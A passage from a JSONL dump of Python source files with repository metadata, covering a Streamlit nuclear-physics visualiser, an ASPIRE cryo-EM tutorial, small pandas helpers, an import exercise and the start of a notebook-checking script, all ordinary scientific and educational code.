"lm_q1q2_score": 0.05463584984597774}}
{"text": "import os\nfrom pyBigstick.nucleus import Nucleus\nimport streamlit as st\nimport numpy as np\nimport plotly.express as px\nfrom barChartPlotly import plotly_barcharts_3d\nfrom PIL import Image\n\n\nhe4_image = Image.open('assets/he4.png')\nnucl_image = Image.open('assets/nucl_symbol.png')\ntable_image = Image.open('assets/table.jpg')\nscattering_image = Image.open('assets/scattering.jpeg')\ndeexcitation_image = Image.open('assets/deexcitation.png')\nlvl_image = Image.open('assets/Energy_levels.png')\nshells_image = Image.open('assets/shells.png')\n\nbs = os.getcwd() +'/src/bigstick.x'\n\n\nheader_container = st.container()\nintro_container = st.container()\nbs_container = st.container()\nstates_container = st.container()\ndensities_container = st.container()\n\nhide_table_row_index = \"\"\"\n            <style>\n            tbody th {display:none}\n            .blank {display:none}\n            </style>\n            \"\"\"\n\nlight_nuclei = ['F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl']\n\nwith header_container:\n    st.title('pyBigstick')\n    st.markdown(\"\"\"This streamlit app visualizes the nuclear transitions calculated by [pyBigstick](https://github.com/noctildon/pyBigstick),\n        including the energy levels and the density matrices.\"\"\")\n\n\nwith intro_container:\n    st.subheader(\"Basic knowledge about nuclear physics\")\n    st.markdown('Physicists usually use a symbol + 2 number to represent a unique nucleus')\n    st.image(nucl_image, width=500)\n    st.markdown('For example, the following is identical to He (Helium) with mass number 4 and atomic number 2, or equivalently 2 protons and 2 neutrons.')\n    st.image(he4_image,width=300)\n    st.markdown('Atomic number can be determined by element symbol uniquely, so sometimes it is skipped and ignored.')\n\n    st.text('And this is the well-known periodic table')\n    st.image(table_image,width=800)\n\n    st.markdown('Experimentalists use neutrinos (an extremely small and light particle) to hit the nucleus. This process is called \"scattering\".')\n    st.image(scattering_image,width=800)\n    st.markdown(\"\"\"Before scattering the nucleus has lowest possbile energy (ground state). After scattering nucleus gain some energy from the neutrinos,\n        being called \"excited nucleus\" or \"excited state\". Then there is a chance that the excited nucleus would drop back to the ground state by emitting gamma ray.\n    \"\"\")\n\n    col1, col2 = st.columns(2)\n    with col1:\n        st.image(deexcitation_image,width=400)\n    with col2:\n        st.image(lvl_image,width=400)\n\n\n    st.markdown(\"\"\"What happen in the scattering is that some of the nucleons get excited to the orbit with high energy.\n        The core algorithm of pyBigstick is to iterate all possible combinations and transitions of the nucleons.\n        And the density matrices describe how nucleons move among the orbits by talking us a probability-like value.\n    \"\"\")\n    st.image(shells_image,width=700)\n\n\nwith bs_container:\n    st.subheader(\"Control panel\")\n    st.markdown(\"\"\"Input the info of the interested nucleus, eg. F19, Be10.\n        Not sure which nucleus to pick? check out [this](https://periodictable.com/Isotopes/009.19/index.html).\n        (Not all of the nucleus is possible to calculate).\"\"\")\n\n    col1_1, col1_2 = st.columns(2)\n    with col1_1:\n        s1 = st.selectbox('The nucleus to calculate', light_nuclei, index=0)\n    with col1_2:\n        s2 = st.selectbox('Mass number', range(9,41), index=10)\n\n    col2_1, col2_2 = st.columns(2)\n    with col2_1:\n        n_states = st.selectbox('Number of states to calculate (more states always need more time)', range(1,7), index=2)\n    with col2_2:\n        maxiter = st.selectbox('Number of iteration (higher iteration is more accurate on results, but takes longer)', np.arange(50,510,10), index=5)\n\n    s1 = s1.lower()\n    nucl_name = f'{s1}{s2}'\n    st.text(f'Calculate {nucl_name}...')\n    nu = Nucleus(nucl_name, n_states=n_states, maxiter=maxiter)\n\n    if st.button('Clean the previous result and rerun'):\n        st.write(f'Successfully clean nucleus {nucl_name}. Running {nucl_name} again...')\n        nu.clean()\n\n    if not nu.check():\n        nu.script_save()\n        nu.prepare()\n        nu.run(bs=bs)\n\n    nu.save_results()\n\nwith states_container:\n    st.subheader('Energy level states')\n    st.markdown(\"\"\"When the scattering happens to a nucleus, the nucleus could be excited to higher state.\n        In general, initially the nucleus is in ground state (the state with the lowest energy).\n        Then after scattering, it is excited to some higher state with energy higher than ground state.\n        We also label the state with n. Ground state has n=1. First excited state has n=2. Second excited has n=3, and so on.\"\"\")\n\n    fig = px.bar(nu.states, x='state', y='Ex',\n        labels={\n            'state': 'State',\n            'Ex': 'Excitation energy (MeV)'\n    })\n    st.plotly_chart(fig, use_container_width=True)\n\n    if st.checkbox('Show all states data'):\n        st.text('States')\n        st.write(nu.states)\n\n\nwith densities_container:\n    st.subheader('Density matrices')\n    st.markdown(\"\"\"The amp (transition amplitdue) in the last column below is (to some degree) proportional to the probability that\n        a nucleon moves from one orbit to another, given the condition that the nucleus jumps from one state to another (say from n=1 to n=2).\n        Jt and Tt are the spin and isospin of the transition, respectively. They are the attributes of a transition.\n        A transition could have multiple values of Jt. Tt can be either 0 or 1. Most of the amp is zero.\"\"\")\n\n    col1, col2, col3, col4 = st.columns(4)\n    with col1:\n        statei = st.selectbox('Initial state', nu.states['state'])\n    with col2:\n        statej = st.selectbox('Final state', nu.states['state'])\n    with col3:\n        Jt = st.selectbox('Jt', np.unique(nu.densities['Jt']))\n    with col4:\n        Tt = st.selectbox('Tt', [0,1])\n\n\n    filter_densities = nu.densities.loc[(nu.densities['statei']==statei) & (nu.densities['statej']==statej) &\\\n        (nu.densities['Jt']==Jt) & (nu.densities['Tt']==Tt)]\n\n    st.subheader('Non-zero elements')\n    st.markdown(hide_table_row_index, unsafe_allow_html=True)\n    st.table(filter_densities)\n\n    st.subheader('3D plot of the density matrices')\n    st.text('The plot only shows non-zero elements.')\n\n\n    if not filter_densities.empty:\n        fig = plotly_barcharts_3d(filter_densities['orba'], filter_densities['orbb'], filter_densities['amp'],\n                x_title='orbit a', y_title='orbit b', z_title='amp')\n        fig.update_layout(width=700, height=700, yaxis = dict(scaleanchor = 'x'))\n        st.plotly_chart(fig, use_container_width=True)\n    else:\n        st.text('All elements are zero, so the plot is skipped.')\n\n\n    if st.checkbox('Show all raw densities data'):\n        st.text('Density matrices')\n        st.write(nu.densities)", "meta": {"hexsha": "0e06fe81149abd4015b14770d81f55998b8b9fed", "size": 6865, "ext": "py", "lang": "Python", "max_stars_repo_path": "show.py", "max_stars_repo_name": "noctildon/pyBigstick", "max_stars_repo_head_hexsha": "a6d8b149d92da11a5f9564618eb08b7440823ea2", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "show.py", "max_issues_repo_name": "noctildon/pyBigstick", "max_issues_repo_head_hexsha": "a6d8b149d92da11a5f9564618eb08b7440823ea2", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "show.py", "max_forks_repo_name": "noctildon/pyBigstick", "max_forks_repo_head_hexsha": "a6d8b149d92da11a5f9564618eb08b7440823ea2", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.3554216867, "max_line_length": 165, "alphanum_fraction": 0.6869628551, "include": true, "reason": "import numpy", "num_tokens": 1740, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438009916360314, "lm_q2_score": 0.11279539733570562, "lm_q1q2_score": 0.054635845746667105}}
{"text": "\"\"\"\nASPIRE-Python Introduction\n==========================\n\nIn this notebook we will introduce some code from ASPIRE-Python\nthat corresponds to topics from MATH586.\n\"\"\"\n\n# %%\n# Imports\n# -------\n# First we import some of the usual suspects. In addition, we import some classes from\n# the ASPIRE package that we will use throughout this tutorial.\n\n# %%\n# Homework Task 0\n# ^^^^^^^^^^^^^^^\n#\n# Attempt to install ASPIRE on your machine. ASPIRE can generally install on\n# Linux, Mac, and Windows\n# under Anaconda Python, by following the instructions in the README.\n# `The instructions for developers is the most comprehensive\n# <https://github.com/ComputationalCryoEM/ASPIRE-Python/blob/master/README.md#for-developers>`_.\n# Linux is the most tested platform.\n#\n# ASPIRE requires some resources to run, so if you wouldn't run typical data\n# science codes on your machine (maybe a netbook for example),\n# you may use TigerCPU. After logging into TigerCPU,\n# ``module load anaconda3/2020.7`` and follow the anaconda instructions for\n# developers in the link above.\n# Those instructions should create a working environment for tinkering with\n# ASPIRE code found in this notebook.\n\nimport logging\nimport os\n\nimport matplotlib.pyplot as plt\nimport mrcfile\nimport numpy as np\n\nfrom aspire.abinitio import CLSyncVoting\nfrom aspire.noise import AnisotropicNoiseEstimator, WhiteNoiseEstimator\nfrom aspire.operators import FunctionFilter, RadialCTFFilter, ScalarFilter\nfrom aspire.source import RelionSource, Simulation\nfrom aspire.utils import (\n    Rotation,\n    get_aligned_rotations,\n    get_rots_mse,\n    register_rotations,\n)\nfrom aspire.volume import Volume\n\nlogger = logging.getLogger(__name__)\n\n# %%\n# ``Image`` Class\n# ---------------\n#\n# The `Image <https://computationalcryoem.github.io/ASPIRE-Python/aspire.image.html#aspire.image.image.Image>`_ class\n# is a thin wrapper over numpy arrays for a stack containing 1 or more images.\n# In this notebook we won't be working directly with the ``Image`` class a lot, but it will be one of the fundemental structures behind the scenes.\n# A lot of ASPIRE code passes around ``Image`` and ``Volume`` classes.\n#\n# Examples of using the Image class can be found in:\n#\n# - ``gallery/tutorials/basic_image_array.py``\n#\n# - ``gallery/tutorials/image_class.py``\n\n# %%\n# ``Volume`` Class\n# ----------------\n#\n# Like ``Image``, the `Volume <https://computationalcryoem.github.io/ASPIRE-Python/aspire.volume.html#aspire.volume.Volume>`_ class\n# is a thin wrapper over numpy arrays that provides specialized methods for a stack containing 1 or more volumes.\n#\n# Here we will instantiate a Volume using a numpy array and use it to downsample to a desired resolution (64 should be good).\n# For the data source I chose to download a real volume density map from `EMDB <https://www.ebi.ac.uk/pdbe/entry/emdb/EMD-2660>`_.\n# The download was uncompressed in my local directory.  The notebook defaults to a small low resolution sample file you may use to sanity check.\n# Unfortunately real data can be quite large so we do not ship it with the repo.\n\n# %%\n# Homework Task 1\n# ^^^^^^^^^^^^^^^\n#\n# - Starting from `EMPIAR <https://www.ebi.ac.uk/pdbe/emdb/empiar/>`_ find a molecule of interest and try to\n# find if it has a corresponding volume density map from `EMDB <https://www.ebi.ac.uk/pdbe/emdb>`_.\n#\n# - Download such a map and use it in the following experiments where I have used 2660.\n#\n# Helpful friendly hint:\n# `mrcfile` will typically open `.map` files provided by EMDB, corresponding to an EMPIAR entry.\n# This was not obvious to me, but you may `read more about the format here <https://www.emdataresource.org/mapformat.html>`_.\n\n# %%\n# Initialize Volume\n# -----------------\n\n# A low res example file is included in the repo as a sanity check.\nDATA_DIR = \"data\"\ninfile = mrcfile.open(os.path.join(DATA_DIR, \"clean70SRibosome_vol_65p.mrc\"))\n\n# More interesting data requires downloading locally.\n# infile = mrcfile.open(\"EMD-2660/map/emd_2660.map\")\n\nd = infile.data\nlogger.info(f\"map data shape: {d.shape} dtype:{d.dtype}\")\nv = Volume(d)\n\n# Downsample the volume to a desired resolution\nimg_size = 64\n# Volume.downsample() Returns a new Volume instance.\n#   We will use this lower resolution volume later.\nv2 = v.downsample((img_size, img_size, img_size))\nL = v2.resolution\n\n# %%\n# Contour Plot of Data\n# --------------------\n\n# Alternatively, for quick sanity checking purposes we can view as a contour plot.\n#   We'll use three orthographic projections, one per axis.\nfor axis in range(3):\n    plt.contourf(np.arange(L), np.arange(L), np.sum(v2[0], axis=axis), cmap=\"gray\")\n    plt.show()\n\n# %%\n# Scatter Plot\n# ------------\n\n# We can attempt a 3d scatter plot, but the results aren't very good.\nx, y, z = np.meshgrid(np.arange(L), np.arange(L), np.arange(L))\nax = plt.axes(projection=\"3d\")\nax.scatter3D(x, y, z, c=np.log10(v2.flatten()), cmap=\"Greys_r\")\nplt.show()\n\n# %%\n# Homework Task 2\n# ^^^^^^^^^^^^^^^\n#\n# Above I have used a simple log transform with a scatter plot to peek at the 3D data.\n# This was mainly just to make sure the data was in the neighborhood of what I was looking for.\n# More commonly we will want to construct an ``isosurface`` plot.\n# Try to create a better plot of the volume (this will probably require more advanced tools than matplotlib).\n\n# %%\n# ``Rotation`` Class - Generating Random Rotations\n# ------------------------------------------------\n#\n# To get general projections this brings us to generating random rotations which we will apply to our volume.\n#\n# While you may bring your own 3x3 matrices or generate manually (say from your own Euler angles),\n# ASPIRE has a `Rotation class <https://computationalcryoem.github.io/ASPIRE-Python/aspire.utils.html#module-aspire.utils.rotation>`_\n# which can do this random rotation generation for us.  It also has some other utility methods if you would want to compare with something manual.\n#\n# The following code will generate some random rotations, and use the ``Volume.project()`` method to return an ``Image`` instance representing the stack of projections.\n# We can display projection images using the ``Image.show()`` method.\n\nnum_rotations = 2\nrots = Rotation.generate_random_rotations(n=num_rotations, seed=12345)\n\n# We can access the numpy array holding the actual stack of 3x3 matrices:\nlogger.info(rots)\nlogger.info(rots.matrices)\n\n# Using the first (and in this case, only) volume, compute projections using the stack of rotations:\nprojections = v.project(0, rots)\n\n# project() returns an Image instance.\nlogger.info(projections)\nprojections.show()\n# Neat, we've generated random projections of some real data.\n\n# %%\n# The ``source`` Package\n# ----------------------\n#\n# `aspire.source <https://computationalcryoem.github.io/ASPIRE-Python/aspire.source.html#module-aspire.source.simulation>`_\n# package contains a collection of data source interfaces.\n# The idea is that we can design an experiment using a synthetic ``Simulation`` source or our own provided array via ``ArrayImageSource``;\n# then later swap out the source for a large experimental data set using something like ``RelionSource``.\n#\n# We do this because the experimental datasets are too large to fit in memory.\n# They cannot be provided as a massive large array, and instead require methods to orchestrate batching.\n# Depending on the application, they may also require corresponding batched algorithms.\n# The ``Source`` classes try to make most of this opaque to an end user.  Ideally we can swap one source for another.\n#\n# For now we will build up to the creation and application of synthetic data set based on the real volume data used previously.\n\n# %%\n# ``Simulation`` Class\n# --------------------\n#\n# Generating realistic synthetic data sources is a common task.\n# The process of generating then projecting random rotations is integrated into the\n# `Simulation <https://computationalcryoem.github.io/ASPIRE-Python/aspire.source.html#module-aspire.source.simulation>`_ class.\n# Using ``Simulation``, we can generate arbitrary numbers of projections for use in experiments.\n# Later we will demonstrate additional features which allow us to create more realistic data sources.\n\nnum_imgs = 100  # How many images in our source.\n# Generate a Simulation instance based on the original volume data.\nsim = Simulation(L=v.resolution, n=num_imgs, vols=v)\n# Display the first 10 images\nsim.images(0, 10).show()  # Hi Res\n\n# Repeat for the lower resolution (downsampled) volume v2.\nsim2 = Simulation(L=v2.resolution, n=num_imgs, vols=v2)\nsim2.images(0, 10).show()  # Lo Res\n\n# Note both of those simulations have the same rotations\n#   because they had the same seed by default,\n# We can set our own seed to get a different random samples (of rotations).\nsim_seed = Simulation(L=v.resolution, n=num_imgs, vols=v, seed=42)\nsim_seed.images(0, 10).show()\n\n# We can also view the rotations used to create these projections\n# logger.info(sim2.rots)  # Commented due to long output\n\n# %%\n# Simulation with Noise - Filters\n# -------------------------------\n#\n# Filters\n# ^^^^^^^\n#\n# `Filters <https://computationalcryoem.github.io/ASPIRE-Python/aspire.operators.html#module-aspire.operators.filters>`_\n# are a collection of classes which once configured can be applied to ``Source`` pipelines.\n# Common filters we might use are ``ScalarFilter``, ``PowerFilter``, ``FunctionFilter``, and ``CTFFilter``.\n#\n# Adding to Simulation\n# ^^^^^^^^^^^^^^^^^^^^\n#\n# We can customize Sources by adding stages to their generation pipeline.\n# In this case of a Simulation source, we want to corrupt the projection images with significant noise.\n#\n# First we create a constant two dimension filter (constant value set to our desired noise variance).\n# Then when used in the ``noise_filter``, this scalar will be multiplied by a random sample.\n# Similar to before, if you require a different sample, this would be controlled via a ``seed``.\n\n# Using the sample variance, we'll compute a target noise variance\nvar = np.var(sim2.images(0, sim2.n).asnumpy())\nlogger.info(f\"sim2 clean sample var {var}\")\nnoise_variance = 100.0 * var\nlogger.info(f\"noise var {noise_variance}\")\n\n# Then create a constant filter based on that variance\nwhite_noise_filter = ScalarFilter(dim=2, value=noise_variance)\n# We can create a similar simulation with this additional noise_filter argument:\nsim3 = Simulation(L=v2.resolution, n=num_imgs, vols=v2, noise_filter=white_noise_filter)\nsim3.images(0, 10).show()\n# These should be rather noisy now ...\n\n# %%\n# Common Line Estimation\n# ----------------------\n#\n# Now we can create a CL instance for estimating orientation of projections using the Common Line with synchronization method.\n#\n# We will import `CLSyncVoting <(https://computationalcryoem.github.io/ASPIRE-Python/aspire.abinitio.html?highlight=clsyncvoting#aspire.abinitio.commonline_sync.CLSyncVoting>`_,\n# then several helper utilities fron the ``coor_trans`` package to help verify our estimates.\n#\n# For each iteration in the loop:\n# - Save the true rotations\n# - Compute orientation estimate using CLSyncVoting method\n# - Compare the estimated vs true rotations\n#\n# Each iteration will logger.info some diagnostic information that contains the top eigenvalues found.\n# From class we learned that a healthy eigendistribution should have a significant gap after the third eigenvalue.\n# It is clear we have such eigenspacing for the clean images, but not for the noisy images.\n\nfor desc, _sim in [\n    (\"High Res\", sim),\n    (\"Downsampled\", sim2),\n    (\"Downsampled with Noise\", sim3),\n]:\n    logger.info(desc)\n    true_rotations = _sim.rots  # for later comparison\n\n    orient_est = CLSyncVoting(_sim, n_theta=36)\n    # Get the estimated rotations\n    orient_est.estimate_rotations()\n    rots_est = orient_est.rotations\n\n    # Compare with known true rotations\n    Q_mat, flag = register_rotations(rots_est, true_rotations)\n    regrot = get_aligned_rotations(rots_est, Q_mat, flag)\n    mse_reg = get_rots_mse(regrot, true_rotations)\n    logger.info(\n        f\"MSE deviation of the estimated rotations using register_rotations : {mse_reg}\\n\"\n    )\n\n# %%\n# Homework Task 3\n# ^^^^^^^^^^^^^^^\n#\n# We confirmed a dramatic change in the eigenspacing when we add a lot of noise.\n# Compute the SNR in this case using the formula described from class.\n# Repeat the experiment with varying levels of SNR to find at what level the character of the eigenspacing changes.\n# This will require changing the Simulation Source's noise_filter.\n# How does this compare with the levels discussed in lecture?\n\n# %%\n# More Advanced Noise - Whitening\n# -------------------------------\n#\n# We can estimate the noise across the stack of images\n#\n# The ``noise`` Package\n# ^^^^^^^^^^^^^^^^^^^^^\n#\n# The `aspire.noise <https://computationalcryoem.github.io/ASPIRE-Python/aspire.noise.html>`_\n# package contains several useful classes for generating and estimating different types of noise.\n#\n# In this case, we know the noise to be white, so we can proceed directly to\n# `WhiteNoiseEstimator <https://computationalcryoem.github.io/ASPIRE-Python/aspire.noise.html#aspire.noise.noise.WhiteNoiseEstimator>`_.  The noise estimators consume from a ``Source``.\n#\n# The white noise estimator should log a diagnostic variance value. How does this compare with the known noise variance above?\n\n# Create another Simulation source to tinker with.\nsim_wht = Simulation(\n    L=v2.resolution, n=num_imgs, vols=v2, noise_filter=white_noise_filter\n)\n\n# Estimate the white noise.\nnoise_estimator = WhiteNoiseEstimator(sim_wht)\n\n# %%\n# A Custom ``FunctionFilter``\n# ---------------------------\n#\n# We will now apply some more interesting noise, using a custom function, and then apply a ``whitening`` process to our data.\n#\n# Using ``FunctionFilter`` we can create our own custom functions to apply in a pipeline.\n# Here we want to apply a custom filter as a noise adder.  We can use a function of two variables for example.\n\n\ndef noise_function(x, y):\n    return 1e-7 * np.exp(-(x * x + y * y) / (2 * 0.3**2))\n\n\n# In python, functions are first class objects.\n# We take advantage of that to pass this function around as a variable.\n# It will be evaluated later...\ncustom_noise_filter = FunctionFilter(noise_function)\n\n# Create yet another Simulation source to tinker with.\nsim4 = Simulation(\n    L=v2.resolution, n=num_imgs, vols=v2, noise_filter=custom_noise_filter\n)\nsim4.images(0, 10).show()\n\n# %%\n# Noise Whitening\n# ---------------\n#\n# Applying the ``Simulation.whiten()`` method just requires passing the filter corresponding to the estimated noise instance.\n# Then we can inspect some of the whitened images.  While noise is still present, we can see a dramatic change.\n\n# Estimate noise.\naiso_noise_estimator = AnisotropicNoiseEstimator(sim4)\n\n# Whiten based on the estimated noise\nsim4.whiten(aiso_noise_estimator.filter)\n\n# What do the whitened images look like...\nsim4.images(0, 10).show()\n\n# %%\n# Homework Task 4\n# ^^^^^^^^^^^^^^^\n#\n# Try some other image preprocessing methods exposed by the ``Simulation``/``ImageSource`` classes.\n#\n# Try some other custom function to add noise or other corruptions to the images.\n\n# %%\n# Real Experimental Data - ``RelionSource``\n# -----------------------------------------\n#\n# Now that we know our experiment code seems to run,\n# we can try to replace the simulation with a real experimental data source.\n#\n# Lets attempt the same CL experiment, but with a ``RelionSource``.\n\nsrc = RelionSource(\n    \"data/sample_relion_data.star\",\n    data_folder=\"\",\n    pixel_size=5.0,\n    max_rows=1024,\n)\n\n# Data resides on Tiger Cluster\n# Please make sure you are using a compute node once you've installed ASPIRE, not the head node...\n# src =  RelionSource(\n#    \"/tigress/gbwright/data/cryo-em/CryoEMdata/empiar10028/shiny_2sets.star\", data_folder=\"\", pixel_size=5.0, max_rows=100\n# )\nsrc.downsample(img_size)\n\nsrc.images(0, 10).show()\n\nnoise_estimator = WhiteNoiseEstimator(src)\nsrc.whiten(noise_estimator.filter)\n\norient_est = CLSyncVoting(src, n_theta=36)\norient_est.estimate_rotations()\nrots_est = orient_est.rotations\n\n# %%\n# We can see that the code can easily run with experimental data by subsituting the ``Source`` class.\n# However, we have hit the practical limitation that requires class averaging of images....\n\n# %%\n# CTF Filter\n# ----------\n#\n# Here we can use the ``RadialCTFFilter`` subclass of\n# `CTFFilter <https://computationalcryoem.github.io/ASPIRE-Python/aspire.operators.html?highlight=ctffilter#aspire.operators.filters.CTFFilter>`_\n# to generate some simulated images with CTF effects.\n#\n# We use the ``unique_filter`` argument of the ``Simulation`` class to apply a collection of several CTFs with different defocus.\n# The defocus values are generated from the ``np.linspace`` method. We end up with a list of filters.\n#\n# By combining CTFFilters, noise, and other filters ASPIRE can generate repeatable rich data sets with controlled parameters.\n# The ``Simulation`` class will attempt to apply transforms ``on the fly`` to batches of our images, allowing us to generate arbitrarily long stacks of data.\n\n# Specify the CTF parameters not used for this example\n# but necessary for initializing the simulation object\npixel_size = 5  # Pixel size of the images (in angstroms)\nvoltage = 200  # Voltage (in KV)\ndefocus_min = 1.5e4  # Minimum defocus value (in angstroms)\ndefocus_max = 2.5e4  # Maximum defocus value (in angstroms)\ndefocus_ct = 7  # Number of defocus groups.\nCs = 2.0  # Spherical aberration\nalpha = 0.1  # Amplitude contrast\n\n# Initialize simulation object with CTF filters.\n# Create CTF filters\nfilters = [\n    RadialCTFFilter(pixel_size, voltage, defocus=d, Cs=2.0, alpha=0.1)\n    for d in np.linspace(defocus_min, defocus_max, defocus_ct)\n]\n\nsim5 = Simulation(L=v2.resolution, n=num_imgs, vols=v2, unique_filters=filters)\nsim5.images(0, 10).show()\n\n\n# Here we will combine CTF and noise features to our projections.\nsim6 = Simulation(\n    L=v2.resolution,\n    n=num_imgs,\n    vols=v2,\n    unique_filters=filters,\n    noise_filter=custom_noise_filter,\n)\nsim6.images(0, 10).show()\n\n# Estimate noise.\naiso_noise_estimator = AnisotropicNoiseEstimator(sim6)\n\n# Whiten based on the estimated noise\nsim6.whiten(aiso_noise_estimator.filter)\nsim6.images(0, 10).show()\n", "meta": {"hexsha": "9c71a7bb9dbab0d4811043ad160cd11884052c20", "size": 18255, "ext": "py", "lang": "Python", "max_stars_repo_path": "gallery/tutorials/lecture_feature_demo.py", "max_stars_repo_name": "PrincetonUniversity/ASPIRE-Python", "max_stars_repo_head_hexsha": "1bff8d3884183203bd77695a76bccb1efc909fd3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 7, "max_stars_repo_stars_event_min_datetime": "2018-11-07T16:45:35.000Z", "max_stars_repo_stars_event_max_datetime": "2020-01-10T16:54:26.000Z", "max_issues_repo_path": "gallery/tutorials/lecture_feature_demo.py", "max_issues_repo_name": "PrincetonUniversity/ASPIRE-Python", "max_issues_repo_head_hexsha": "1bff8d3884183203bd77695a76bccb1efc909fd3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2019-04-05T18:41:39.000Z", "max_issues_repo_issues_event_max_datetime": "2019-04-05T18:41:39.000Z", "max_forks_repo_path": "gallery/tutorials/lecture_feature_demo.py", "max_forks_repo_name": "PrincetonUniversity/ASPIRE-Python", "max_forks_repo_head_hexsha": "1bff8d3884183203bd77695a76bccb1efc909fd3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2019-06-04T17:01:53.000Z", "max_forks_repo_forks_event_max_datetime": "2019-07-08T19:01:40.000Z", "avg_line_length": 39.4276457883, "max_line_length": 185, "alphanum_fraction": 0.7338263489, "include": true, "reason": "import numpy", "num_tokens": 4470, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4843800842769844, "lm_q2_score": 0.11279539584450775, "lm_q1q2_score": 0.05463584334521848}}
{"text": "import pandas as pd\nimport numpy as np\n\n\ndef load_and_proccess(rawData):\n    rawData.columns = ['Age','Workclass','fnlwgt','Education','Education-Num','Marital-Status','Occupation','Realtionship','Race','Sex','Capital-Gain','Capital-Loss','Hours-Per-Week','Native-Country','Income']\n    return rawData.drop_duplicates()\n\ndef describedf(data):\n    return data.describe()\n\ndef nuniquedf(data):\n    return data.nunique(axis=0)\n\ndef columnsdf(data):\n    return data.columns\n\ndef shapedf(data):\n    return data.shape", "meta": {"hexsha": "32da410d69ee19f1fdfc1295227fe9af6dadafa5", "size": 511, "ext": "py", "lang": "Python", "max_stars_repo_path": "analysis/Scripts/project_functions.py", "max_stars_repo_name": "data301-2020-winter1/course-project-group_6011", "max_stars_repo_head_hexsha": "b78b68d06d80dbcb16ed3a93c7610f51be41a855", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "analysis/Scripts/project_functions.py", "max_issues_repo_name": "data301-2020-winter1/course-project-group_6011", "max_issues_repo_head_hexsha": "b78b68d06d80dbcb16ed3a93c7610f51be41a855", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-12-06T00:28:53.000Z", "max_issues_repo_issues_event_max_datetime": "2020-12-06T00:28:53.000Z", "max_forks_repo_path": "analysis/Scripts/project_functions.py", "max_forks_repo_name": "data301-2020-winter1/course-project-group_6011", "max_forks_repo_head_hexsha": "b78b68d06d80dbcb16ed3a93c7610f51be41a855", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.8947368421, "max_line_length": 209, "alphanum_fraction": 0.7221135029, "include": true, "reason": "import numpy", "num_tokens": 126, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.1127953943533099, "lm_q1q2_score": 0.054635842622911934}}
{"text": "# Use an import statement to import statsmodels\r\nimport statsmodels\r\n\r\n\r\n# Import statsmodels under the alias sm\r\nimport statsmodels as sm\r\n\r\n\r\n# Use an import statement to import seaborn with alias sns\r\nimport seaborn as sns\r\n\r\n\r\n# Fix the import of numpy to run without errors\r\nimport numpy as np\r\n", "meta": {"hexsha": "c13beb42fc899ae8751086d3fef4b5ccc2277642", "size": 300, "ext": "py", "lang": "Python", "max_stars_repo_path": "01-Dive into Python.py", "max_stars_repo_name": "mnabavi84/dcamp-intro-dscience-python", "max_stars_repo_head_hexsha": "de6dbdf7328e0cdfaab218c01589db269abb100c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "01-Dive into Python.py", "max_issues_repo_name": "mnabavi84/dcamp-intro-dscience-python", "max_issues_repo_head_hexsha": "de6dbdf7328e0cdfaab218c01589db269abb100c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "01-Dive into Python.py", "max_forks_repo_name": "mnabavi84/dcamp-intro-dscience-python", "max_forks_repo_head_hexsha": "de6dbdf7328e0cdfaab218c01589db269abb100c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 20.0, "max_line_length": 59, "alphanum_fraction": 0.7533333333, "include": true, "reason": "import numpy,import statsmodels", "num_tokens": 62, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4843800842769843, "lm_q2_score": 0.11279539435330992, "lm_q1q2_score": 0.054635842622911934}}
{"text": "import argparse\nimport contextlib\nimport glob\nimport io\nimport math\nimport numbers\nimport os\nimport pickle\nimport platform\nimport re\nimport sys\nimport types\n\nimport colorama\nimport nbformat\nimport numpy as np\nimport pkg_resources\nfrom nbconvert import PythonExporter\n\n\ndef print_warning(message):\n    print(colorama.Fore.YELLOW + colorama.Style.BRIGHT + 'WARNING: ' + message + colorama.Style.RESET_ALL)\n\n\ndef check_var(stud_val, sol_val, var_name_style):\n    def unify_vector(vec):\n        # Remove single dimensions\n        vec = np.squeeze(vec)\n\n        # Convert column or row matrices to vectors\n        if len(vec.shape) == 2 and (vec.shape[0] == 1 or vec.shape[1] == 1):\n            return vec.reshape(-1)\n        else:\n            return vec\n\n    if type(stud_val) != type(sol_val):\n        print_warning('The variable %s has the type %s but the type %s is expected. Even though it is possible that the other checks still work, it can also lead to errors.' % (var_name_style, type(stud_val), type(sol_val)))\n\n    if type(stud_val) == list:\n        assert len(stud_val) == len(sol_val), 'The list %s does not have the correct length\\nGot: %d\\nExpected: %d' % (var_name_style, len(stud_val), len(sol_val))\n\n        if any([isinstance(val, np.ndarray) or type(val) == list for val in stud_val]):\n            # Check nested lists recursively\n            for v1, v2 in 